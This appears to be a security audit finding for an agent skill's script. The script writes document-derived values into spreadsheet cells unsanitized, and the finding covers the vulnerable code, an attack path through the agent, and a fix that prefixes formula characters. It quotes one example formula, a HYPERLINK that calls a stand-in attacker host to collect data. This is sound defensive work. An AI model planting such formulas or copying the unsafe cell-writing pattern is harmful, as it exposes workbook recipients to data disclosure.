T09 · Insecure Skill Coding Practices
- Location
scripts/generate_inspection_guide.py:328- Finding
Spreadsheet Formula Injection in Generated Workbooks
- Content
View full analysis
Vulnerability Details
File Location:
scripts/generate_inspection_guide.py, lines 328–334
Vulnerability Type: Spreadsheet formula injection
Risk Level: MediumVulnerable Code
python for item_idx, item_data in enumerate(inspection_items): row_idx = start_row + item_idx for field, col_idx in field_to_col.items(): value = item_data.get(field, "") cell = ws.cell(row=row_idx, column=col_idx, value=value) cell.font = CELL_FONT cell.alignment = CELL_ALIGNMENT cell.border = THIN_BORDERTechnical Analysis
Inspection values derived from user-provided technical documents are written directly into workbook cells without validation or neutralization. Spreadsheet applications may interpret strings beginning with formula indicators such as
=,+,-, or@as formulas rather than literal text.For example, an attacker-controlled inspection value could contain:
text =HYPERLINK("https://attacker.example/collect","Open")The generated workbook would preserve this as a formula. Its behavior would then depend on the spreadsheet application and its security configuration. Possible effects include misleading displayed content, external-resource requests, data disclosure through crafted formulas, and application-specific dangerous behavior.
Attack Path
- An attacker supplies a technical document containing a formula-like value in a field expected to be extracted into an inspection item.
- The Agent places the value into the
inspection_dataJSON without neutralizing spreadsheet syntax. fill_inspection_data()retrieves the attacker-controlled value.- The value is passed directly to
ws.cell(..., value=value). - The generated workbook is delivered to a victim.
- When the workbook is opened, the spreadsheet application may evaluate or expose the attacker-controlled formula.
Impact Assessment
Exploitat ...[truncated 575 chars]
- Remediation
View remediation
Remediation Suggestions
Treat all document-derived cell values as untrusted text:
- Convert values to strings where appropriate.
- Inspect the first non-whitespace character.
- Neutralize values beginning with
=,+,-, or@, for example by prefixing an apostrophe. - Explicitly apply a text number format to cells containing untrusted textual data.
- Add regression tests covering each formula prefix, leading whitespace, tabs, and newline-prefixed formulas.
- If formulas are not a required feature, reject formula-like inputs rather than attempting to preserve them.
Example hardening logic:
python def neutralize_spreadsheet_value(value): if not isinstance(value, str): return value candidate = value.lstrip() if candidate.startswith(("=", "+", "-", "@")): return "'" + value return value value = neutralize_spreadsheet_value(item_data.get(field, "")) cell = ws.cell(row=row_idx, column=col_idx, value=value) cell.number_format = "@"
